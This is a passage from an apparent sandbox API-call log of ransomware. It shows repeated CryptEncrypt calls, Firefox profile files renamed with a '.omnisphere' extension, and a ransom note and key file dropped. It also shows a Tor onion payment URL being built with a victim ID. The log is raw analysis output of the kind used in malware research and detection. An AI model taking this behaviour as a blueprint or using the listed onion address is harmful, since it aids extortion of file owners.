pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.811] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.812] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.812] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.812] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.812] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.812] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.813] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.813] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.813] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.813] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.814] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.814] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.814] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.814] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.814] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.814] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.815] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.816] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.817] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.843] CryptDestroyKey (hKey=0x1639b28) returned 1 [0158.843] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0158.955] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x901d0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0158.956] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0158.956] GetProcessHeap () returned 0x1600000 [0158.956] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2da) returned 0x1746738 [0158.956] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-wal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-wal.omnisphere")) returned 1 [0158.958] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal.omnisphere.id" [0158.958] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-wal.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0158.959] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0158.960] CloseHandle (hObject=0x388) returned 1 [0158.961] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0158.968] CloseHandle (hObject=0x3c0) returned 1 [0158.968] SetEndOfFile (hFile=0x288) returned 1 [0158.968] FlushFileBuffers (hFile=0x288) returned 1 [0159.061] CloseHandle (hObject=0x288) returned 1 [0159.061] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0159.061] GetProcessHeap () returned 0x1600000 [0159.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1746a20 [0159.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0159.061] GetProcessHeap () returned 0x1600000 [0159.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734148 [0159.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734148, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0159.061] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0159.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0159.061] GetProcessHeap () returned 0x1600000 [0159.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726978 [0159.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726978, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0159.062] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0159.062] GetProcessHeap () returned 0x1600000 [0159.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172ff28 [0159.062] PathCombineW (in: pszDest=0x172ff28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0159.062] GetProcessHeap () returned 0x1600000 [0159.062] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173bf78 [0159.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.062] WriteFile (in: hFile=0x288, lpBuffer=0x173bf78*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173bf78*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0159.062] CloseHandle (hObject=0x288) returned 1 [0159.062] GetProcessHeap () returned 0x1600000 [0159.062] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1746a20 | out: hHeap=0x1600000) returned 1 [0159.062] GetProcessHeap () returned 0x1600000 [0159.063] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c118 [0159.063] PathCombineW (in: pszDest=0x162c118, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0159.063] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.063] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0159.063] CloseHandle (hObject=0x288) returned 1 [0159.063] GetProcessHeap () returned 0x1600000 [0159.063] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c118 | out: hHeap=0x1600000) returned 1 [0159.063] GetProcessHeap () returned 0x1600000 [0159.063] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0159.063] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="gmp", cAlternateFileName="")) returned 1 [0159.063] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="gmp-gmpopenh264", cAlternateFileName="GMP-GM~1")) returned 1 [0159.063] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="gmp-widevinecdm", cAlternateFileName="GMP-WI~1")) returned 1 [0159.063] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edfb3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2edfb3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2ee0ebb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0xcc, cFileName="handlers.json", cAlternateFileName="HANDLE~1.JSO")) returned 1 [0159.063] GetProcessHeap () returned 0x1600000 [0159.064] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0159.064] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="handlers.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" [0159.064] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0159.064] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0159.064] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=683) returned 1 [0159.064] GetTickCount () returned 0x1167854 [0159.064] GetTickCount () returned 0x1167854 [0159.064] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 [0159.065] GetTickCount () returned 0x1167854 